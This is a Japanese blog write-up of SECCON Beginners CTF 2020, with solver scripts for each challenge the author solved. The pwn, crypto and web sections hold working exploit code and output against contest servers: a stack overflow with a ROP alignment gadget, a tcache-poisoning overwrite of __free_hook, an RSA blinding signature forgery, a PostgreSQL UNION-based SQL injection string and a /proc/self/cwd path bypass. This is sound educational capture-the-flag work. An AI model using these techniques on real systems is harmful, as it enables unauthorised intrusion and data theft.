/dev/null

脳みそのL1キャッシュ

SECCON Beginners CTF 2020 Writeup

はじめに

2020/05/23 14:00から2020/05/24 14:00まで開催されていたSECCON Beginners CTF 2020にチームTomatosaladとして参加しました。

www.seccon.jp

最終順位は30位でした。Welcome問を解いたチームの数が962なので、その中での30位は個人的には満足のいく結果でした。 今までCTFはほぼボッチ勢だったので、今回もボッチだろうなと思っていたけど、友人が参加してくれたのでボッチは回避。ありがたやありがたや。

やっぱり、CTFは複数人でやるものだね。

閑話休題。以下に自分が解いた問題のWriteupを載せておきます。

Misc

Welcome

Discordに行くとフラグが書いてありました。それだけ。

emoemoencode

謎絵文字列が渡されます。どうしろっていうんだ。

🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽

きっと、フラグの文字を固定値分ずらして、絵文字のコードポイントに持っていってるんだろうなと思い、 以下のソルバを書きました。

emo = open("emoemoencode.txt", "r").read()[:-1]

rs = ""
for e in emo:
    e = ord(e) - 127744
    print(rs)
    rs += chr(e)
print(rs)

127744というのは、一文字目をc(フラグはctf4b{で始まるので)だと仮定したときに、例の絵文字の1バイト目から逆算した値です。 この値が全バイトに足されているという仮定のもとでのソルバです。

実行すると

$ python emoemo.py

c
ct
ctf
ctf4
ctf4b
ctf4b{
ctf4b{s
ctf4b{st
ctf4b{ste
ctf4b{steg
ctf4b{stega
ctf4b{stegan
ctf4b{stegan0
ctf4b{stegan0g
ctf4b{stegan0gr
ctf4b{stegan0gra
ctf4b{stegan0grap
ctf4b{stegan0graph
ctf4b{stegan0graphy
ctf4b{stegan0graphy_
ctf4b{stegan0graphy_b
ctf4b{stegan0graphy_by
ctf4b{stegan0graphy_by_
ctf4b{stegan0graphy_by_e
ctf4b{stegan0graphy_by_em
ctf4b{stegan0graphy_by_em0
ctf4b{stegan0graphy_by_em00
ctf4b{stegan0graphy_by_em000
ctf4b{stegan0graphy_by_em0000
ctf4b{stegan0graphy_by_em00000
ctf4b{stegan0graphy_by_em000000
ctf4b{stegan0graphy_by_em000000j
ctf4b{stegan0graphy_by_em000000ji
ctf4b{stegan0graphy_by_em000000ji}

readme

以下のコードが渡されます。これが問題サーバ上で動いてるようです。

#!/usr/bin/env python3
import os

assert os.path.isfile('/home/ctf/flag') # readme

if __name__ == '__main__':
    path = input("File: ")
    if not os.path.exists(path):
        exit("[-] File not found")
    if not os.path.isfile(path):
        exit("[-] Not a file")
    if '/' != path[0]:
        exit("[-] Use absolute path")
    if 'ctf' in path:
        exit("[-] Path not allowed")
    try:
        print(open(path, 'r').read())
    except:
        exit("[-] Permission denied")

フラグの場所は/home/ctf/flagで、絶対パス & ctfをパスに含めないという条件でパスを指定し、フラグを読みだせという問題です。

答えは/proc/self/cwd/../flag

procfsの中にcwdがあるなんて知らなかったよ…

Pwn

Beginner's Stack

問題サーバに接続すると、以下のようにスタックの状態が表示されます。

$ nc bs.quals.beginners.seccon.jp 9001
Your goal is to call `win` function (located at 0x400861)

   [ Address ]           [ Stack ]
                   +--------------------+
0x00007fff26280f20 | 0x00007fd99a3b99a0 | <-- buf
                   +--------------------+
0x00007fff26280f28 | 0x0000000000000000 |
                   +--------------------+
0x00007fff26280f30 | 0x0000000000000000 |
                   +--------------------+
0x00007fff26280f38 | 0x00007fd99a5d2170 |
                   +--------------------+
0x00007fff26280f40 | 0x00007fff26280f50 | <-- saved rbp (vuln)
                   +--------------------+
0x00007fff26280f48 | 0x000000000040084e | <-- return address (vuln)
                   +--------------------+
0x00007fff26280f50 | 0x0000000000400ad0 | <-- saved rbp (main)
                   +--------------------+
0x00007fff26280f58 | 0x00007fd999fd9b97 | <-- return address (main)
                   +--------------------+
0x00007fff26280f60 | 0x0000000000000001 |
                   +--------------------+
0x00007fff26280f68 | 0x00007fff26281038 |
                   +--------------------+

Input: 

更に渡されたバイナリを見るとwin関数なるを見つけました。ははーん、さてはBOFでreturn addressをwin関数のアドレスに書き換えるだけだな。 と思ったがそううまくは行かないらしい。単純に、return addressを書き換えるだけでは、win関数内のチェックに引っかかるようです。

Oops! RSP is misaligned!
Some functions such as `system` use `movaps` instructions in libc-2.27 and later.
This instruction fails when RSP is not a multiple of 0x10.
Find a way to align RSP! You're almost there!
[*] Got EOF while reading in interactive

RSPレジスタを16の倍数にしないと行けないらしいですね。gdbwin関数内のチェック処理を覗いてみると、RSPが8の倍数になっていたようです。 適当なROPガジェットを挟んで、RSPを16の倍数にすればフラグゲットです。

以下ソルバ

from pwn import *

# p = process("chall")
p = remote("bs.quals.beginners.seccon.jp", 9001)

ret_addr = 0x00400626
win_addr = 0x00400861

pld = b"AAAAAAAA" * 5
pld += p64(ret_addr) # fix alginment
pld += p64(win_addr)

with open("pld.bin", "wb") as f:
    f.write(pld)

p.sendlineafter(b"Input: ", pld)
p.interactive()

実行してみます。

$ python solve.py
   [ Address ]           [ Stack ]
                   +--------------------+
0x00007ffdabd532e0 | 0x4141414141414141 | <-- buf
                   +--------------------+
0x00007ffdabd532e8 | 0x4141414141414141 |
                   +--------------------+
0x00007ffdabd532f0 | 0x4141414141414141 |
                   +--------------------+
0x00007ffdabd532f8 | 0x4141414141414141 |
                   +--------------------+
0x00007ffdabd53300 | 0x4141414141414141 | <-- saved rbp (vuln)
                   +--------------------+
0x00007ffdabd53308 | 0x0000000000400626 | <-- return address (vuln)
                   +--------------------+
0x00007ffdabd53310 | 0x0000000000400861 | <-- saved rbp (main)
                   +--------------------+
0x00007ffdabd53318 | 0x00007f7bfb935b0a | <-- return address (main)
                   +--------------------+
0x00007ffdabd53320 | 0x0000000000000001 |
                   +--------------------+
0x00007ffdabd53328 | 0x00007ffdabd533f8 |
                   +--------------------+

Congratulations!
$ ls
chall
flag.txt
redir.sh
$ cat flag.txt
ctf4b{u_r_st4ck_pwn_b3g1nn3r_tada}

Beginner's Heap

問題サーバに接続すると…

$ nc bh.quals.beginners.seccon.jp 9002
Let's learn heap overflow today
You have a chunk which is vulnerable to Heap Overflow (chunk A)

 A = malloc(0x18);

Also you can allocate and free a chunk which doesn't have overflow (chunk B)
You have the following important information:

 <__free_hook>: 0x7f86f88b88e8
 <win>: 0x56323727e465

Call <win> function and you'll get the flag.

1. read(0, A, 0x80);
2. B = malloc(0x18); read(0, B, 0x18);
3. free(B); B = NULL;
4. Describe heap
5. Describe tcache (for size 0x20)
6. Currently available hint
> 

__free_hooktcache...

完全にtcache poisoningですね。懇切丁寧にheapの状況やtcacheの状況を教えてくれるので、これをガイドに攻略しました。

以下ソルバ

from pwn import *

p = remote("bh.quals.beginners.seccon.jp", 9002)

"""
1. read(0, A, 0x80);
2. B = malloc(0x18); read(0, B, 0x18);
3. free(B); B = NULL;
4. Describe heap
5. Describe tcache (for size 0x20)
6. Currently available hint
"""

PROMPT = "hint\n> "

p.recvuntil("<__free_hook>: ")
__free_hook = int(p.recvline(), 16)

p.recvuntil("<win>: ")
win = int(p.recvline(), 16)

def prompt(no):
    p.sendlineafter(PROMPT, no)

def read(s):
    prompt("1")
    p.sendline(s)

def alloc(s):
    prompt("2")
    p.sendline(s)

def free():
    prompt("3")

def heap():
    prompt("4")
    line = p.recvuntil("-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-")
    print(line.decode('utf-8'))

def tcache():
    prompt("5")
    line = p.recvuntil("-=-=-=-=-=-=-=-=-=-=-=-=-=-=")
    print(line.decode('utf-8'))

alloc("tomato")
free()

read(b"AAAAAAAA" * 4 + p64(__free_hook))

alloc("AAAABBBB")

read(b"\x00\x00\x00\x00\x00\x00\x00\x00" * 3 + b"\x31\x00\x00\x00\x00\x00\x00\x00")
free()

alloc(p64(win)) # __free_hook = win
free() # invoke __free_hook

print(p.recvall())

p.close()

ステップとしては

  1. Bを確保&解放し、tcacheにつなげる
  2. A経由でBのメタデータ(nextメンバ)を改ざんし、__free_hookに向ける
  3. 再びBを確保する。確保後、tcache listの先頭は__free_hookを向くようになる
  4. A経由でBのメタデータ(sizeメンバ)を改ざんし、Bを解放する。sizeが改ざんされているので、Bは先程のtcache listとは違うlistにつながる
  5. mallocを呼んで領域を確保する。このとき、__free_hookのアドレスが返される
  6. __free_hookにwin関数のアドレスを格納する
  7. free関数を呼んで、__free_hook=win関数を実行する

ソルバを実行すると

$ python solve.py
[+] Opening connection to bh.quals.beginners.seccon.jp on port 9002: Done
[+] Receiving all data: Done (57B)
[*] Closed connection to bh.quals.beginners.seccon.jp port 9002
b'Congratulations!\nctf4b{l1bc_m4ll0c_h34p_0v3rfl0w_b4s1cs}\n'

Crypto

R&B

rot13とbase64が繰り返し適用されたフラグを渡されます。先頭にrot13かbase64を識別できる文字が付与されているので、これを手がかりにフラグを復元する。

以下ソルバ

import codecs
import base64

def rot13(s):
    return codecs.decode(s, 'rot13')

def b64(s):
    return base64.b64decode(s.encode()).decode()

f = open("encoded_flag", "r").read()

ds = {'B': b64, 'R': rot13}
while True:
    try:
        c = f[0]
        f = ds[c](f[1:])
    except:
        break
print(f)

実行すると

$ python solve.py
ctf4b{rot_base_rot_base_rot_base_base}

Noisy equations

問題のコードを見ると

from os import getenv
from time import time
from random import getrandbits, seed


FLAG = getenv("FLAG").encode()
SEED = getenv("SEED").encode()

L = 256
N = len(FLAG)


def dot(A, B):
    assert len(A) == len(B)
    return sum([a * b for a, b in zip(A, B)])

coeffs = [[getrandbits(L) for _ in range(N)] for _ in range(N)]

seed(SEED)

answers = [dot(coeff, FLAG) + getrandbits(L) for coeff in coeffs]

print(coeffs)
print(answers)

式で表すと以下になりますね。

A = C * F + N

A : answers
C : coeffs (NxNの行列)
N : 乱数のベクトル

サーバからはACNが与えられ、ACは毎回変化します。Nがなければ、C逆行列を掛けるだけで終わりですが、この問題は以下のようにしてNを消す必要があります。

A1 = C1 * F + N
A2 = C2 * F + N  ( -
------------------
(A1 - A2) = (C1 - C2) * F

あとは(C1 - C2)逆行列を両辺の左から掛けてあげると

F = (C1 - C2)^-1 * (A1 - A2)

こんな感じでフラグを計算できます。

sageのREPLで解いたので、ソルバが残っていませんでした。

www.sagemath.org

フラグはこんな感じですね。

ctf4b{r4nd0m_533d_15_n3c3554ry_f0r_53cur17y}

RSA Calc

問題サーバにつなげると以下の2つのことができます。

  1. 任意の文字列のRSA署名がもらえる
  2. 任意の文字列とそのRSA署名を渡せば、その文字列の内容を実行してくれる

文字列がサーバの想定する実行列(例: 1,2,+)になっていれば、処理を実行して処理結果を出力できます。

例えば、1,2,+だと、1と2をスタックにプッシュし、次に1と2をポップして足し合わせ、3をスタックにプッシュする。 最後に3を出力する。

フラグがほしい場合、1337,Fを署名し、実行してもらう必要がありますが、サーバ側ではF1337を含む文字列を署名しないという処理になっています。

いきなりですが、ソルバです。

from pwn import *
from Crypto.Util.number import inverse, long_to_bytes, bytes_to_long

N = 104452494729225554355976515219434250315042721821732083150042629449067462088950256883215876205745135468798595887009776140577366427694442102435040692014432042744950729052688898874640941018896944459642713041721494593008013710266103709315252166260911167655036124762795890569902823253950438711272265515759550956133
e = 65537

p = remote("rsacalc.quals.beginners.seccon.jp", 10001)

def sign(data):
    p.sendlineafter("> ", "1")
    p.sendlineafter("data> ", data)
    p.recvuntil("Signature: ")
    sig = int(p.recvline(), 16)
    return sig

def exe(data, sig):
    p.sendlineafter("> ", "2")
    p.sendlineafter("data> ", data)
    p.sendlineafter("signature> ", sig)

def exit():
    p.sendlineafter("> ", "3")

m = bytes_to_long(b"1337,F")
x = pow(N - 1, e, N)
y = (x * m) % N

sig = sign(long_to_bytes(y))
md = (inverse(N - 1, N) * sig) % N

exe("1337,F", hex(md)[2:])
print(p.recv())

p.close()

以下軽い解説ですが、すべてNを法としたときの演算であることに注意してください。

1337,Fmとすると、まず、(N - 1)^e * mを署名してもらいます。ここで、(N - 1)^e * mには1337Fが直接的に含まれてないので、サーバはRSA署名を計算してくれることに注意してください。

そうすると、(N - 1)^ed * m^dをもらえますね。ここで、(N - 1)^edN - 1になるので、我々は(N - 1) * m^dを手にいれたわけです。

これに(N - 1)の逆元を掛けると(N - 1)^-1 * (N - 1) * m^d = m^dというふうに1337,FRSA署名を手に入れることができます。

やったね。これで、フラグを表示させることができます。

ソルバを実行すると

$ python solve.py
[+] Opening connection to rsacalc.quals.beginners.seccon.jp on port 10001: Done
b'ctf4b{SIgn_n33ds_P4d&H4sh}\nError\n'
[*] Closed connection to rsacalc.quals.beginners.seccon.jp port 10001

Web

Tweetstore

サーバのソースコードを見ると

sql += " where text like '%" + strings.Replace(search[0], "'", "\\'", -1) + "%'"

みたいな感じでSQLiができることがわかります。

また、以下の部分からフラグはDBユーザの名前、使用しているDBはPostgreSQLであることがわかります。

func initialize() {
    var err error

    dbname := "ctf"
    dbuser := os.Getenv("FLAG")
    dbpass := "password"

    connInfo := fmt.Sprintf("port=%d host=%s user=%s password=%s dbname=%s sslmode=disable", 5432, "db", dbuser, dbpass, dbname)
    db, err = sql.Open("postgres", connInfo)
    if err != nil {
        log.Fatal(err)
    }
}

あとは頑張るだけです。色々試した結果、search wordに以下を入力するとフラグを入手できます。

\' AND 1=2 union select chr(65), user, now() --

フラグは

ctf4b{is_postgres_your_friend?}

profiler

ID/Passwordをadmin/adminにしてログインするとフラグをゲットできたんだが、何だったんだ。 想定解はGraphQL Injectionらしい。後で勉強しておこう…

Reversing

mask

  1. 0x75とANDするとatd4`qdedtUpetepqeUdaaeUeaqauになる
  2. 0xebとANDするとc`b bk`kj`KbababcaKbacaKiackiになる

こんな文字列をお探しらしい。

以下ソルバ

e1 = "atd4`qdedtUpetepqeUdaaeUeaqau"
e2 = "c`b bk`kj`KbababcaKbacaKiacki"
rs = ""

for a, b in zip(e1, e2):
    a = ord(a)
    b = ord(b)
    rs += chr(a | b)

print(rs)

実行すると

$ python solve.py
ctf4b{dont_reverse_face_mask}

yakisoba

ユーザの入力がフラグであるか否かチェックするプログラムを渡されますが、Binary Ninjaに食わせてみるとこんなものが… f:id:d2v:20200524192943p:plain

ヒントに書いてある通り、自動化するしかなさそうですね…

実行ファイルの自動解析といえばangr、てなわけでangrを使ってソルバを書くとささっと解いてくれました。強い。

import angr

p = angr.Project("./yakisoba", auto_load_libs=False)

main_addr = 0x400000 + 0x00000680

init_state = p.factory.blank_state(addr=main_addr)
sim = p.factory.simulation_manager(init_state)

find = (
    0x400000 + 0x000006d2,
)

avoid = (
    0x400000 + 0x000006f7,
)

sim.explore(find=find, avoid=avoid)

if len(sim.found) > 0:
    found = sim.found[0]
    print(found.posix.dumps(0))

実行すると

$ python solve.py
WARNING | 2020-05-24 19:34:27,446 | cle.loader | The main binary is a position-independent executable. It is being loaded with a base address of 0x400000.
WARNING | 2020-05-24 19:34:27,466 | angr.state_plugins.symbolic_memory | The program is accessing memory or registers with an unspecified value. This could indicate unwanted behavior.
WARNING | 2020-05-24 19:34:27,466 | angr.state_plugins.symbolic_memory | angr will cope with this by generating an unconstrained symbolic variable and continuing. You can resolve this by:
WARNING | 2020-05-24 19:34:27,466 | angr.state_plugins.symbolic_memory | 1) setting a value to the initial state
WARNING | 2020-05-24 19:34:27,466 | angr.state_plugins.symbolic_memory | 2) adding the state option ZERO_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to make unknown regions hold null
WARNING | 2020-05-24 19:34:27,466 | angr.state_plugins.symbolic_memory | 3) adding the state option SYMBOL_FILL_UNCONSTRAINED_{MEMORY_REGISTERS}, to suppress these messages.
WARNING | 2020-05-24 19:34:27,467 | angr.state_plugins.symbolic_memory | Filling register rbp with 8 unconstrained bytes referenced from 0x400680 (PLT.__cxa_finalize+0x10 in yakisoba (0x680))
WARNING | 2020-05-24 19:34:27,470 | angr.state_plugins.symbolic_memory | Filling register rbx with 8 unconstrained bytes referenced from 0x400681 (PLT.__cxa_finalize+0x11 in yakisoba (0x681))
WARNING | 2020-05-24 19:34:28,721 | angr.state_plugins.symbolic_memory | Filling register cc_ndep with 8 unconstrained bytes referenced from 0x400828 (PLT.__cxa_finalize+0x1b8 in yakisoba (0x828))
WARNING | 2020-05-24 19:34:28,811 | angr.state_plugins.symbolic_memory | Filling register cc_ndep with 8 unconstrained bytes referenced from 0x400881 (PLT.__cxa_finalize+0x211 in yakisoba (0x881))
b'ctf4b{sp4gh3tt1_r1pp3r1n0}\x00\x00\x00\x00\x00'

ghost

PostScriptのコードを渡され解読する問題です。

/flag 64 string def /output 8 string def (%stdin) (r) file flag readline not { (I/O Error\n) print quit } if 0 1 2 index length { 1 index 1 add 3 index 3 index get xor mul 1 463 { 1 index mul 64711 mod } repeat exch pop dup output cvs print ( ) print 128 mod 1 add exch 1 add exch } repeat (\n) print quit

「PostScriptわかんないよぉ…」て言いながら解析しました。もう二度とPostScriptのコードは読みたくないです。 この方の「PostScript 基礎文法最速マスター」って記事がなければきっと諦めてました。

dayflower.hatenablog.com

以下ソルバです。脳筋全探索で解けました。

import string

want = [3417, 61039, 39615, 14756, 10315, 49836, 44840, 20086, 18149, 31454, 35718, 44949, 4715, 22725, 62312, 18726, 47196, 54518, 2667, 44346, 55284, 5240, 32181, 61722, 6447, 38218, 6033, 32270, 51128, 6112, 22332, 60338, 14994, 44529, 25059, 61829, 52094]

def brute(inp):
    internal_state = 1
    for i, c in enumerate(inp):
        s = (ord(c) ^ (i + 1)) * internal_state

        output = 1
        for j in range(463):
            output = (output * s) % 64711

        if output != want[i]:
            return False

        internal_state = (output % 128) + 1
    return True

r = ""
for i in range(len(want)):
    for c in string.printable:
        if brute(r + c):
            r += c
            break

print(r)

実行すると

$ python solve.py
ctf4b{st4ck_m4ch1n3_1s_4_l0t_0f_fun!}

おわりに

こんなに真面目にCTFに取り組んだのいつ以来だろう…やっぱり、チームメイトがいるとやる気が続きますね。 一人だとすぐ飽きてたと思います。次はもっと大所帯でCTFに参加したいですね。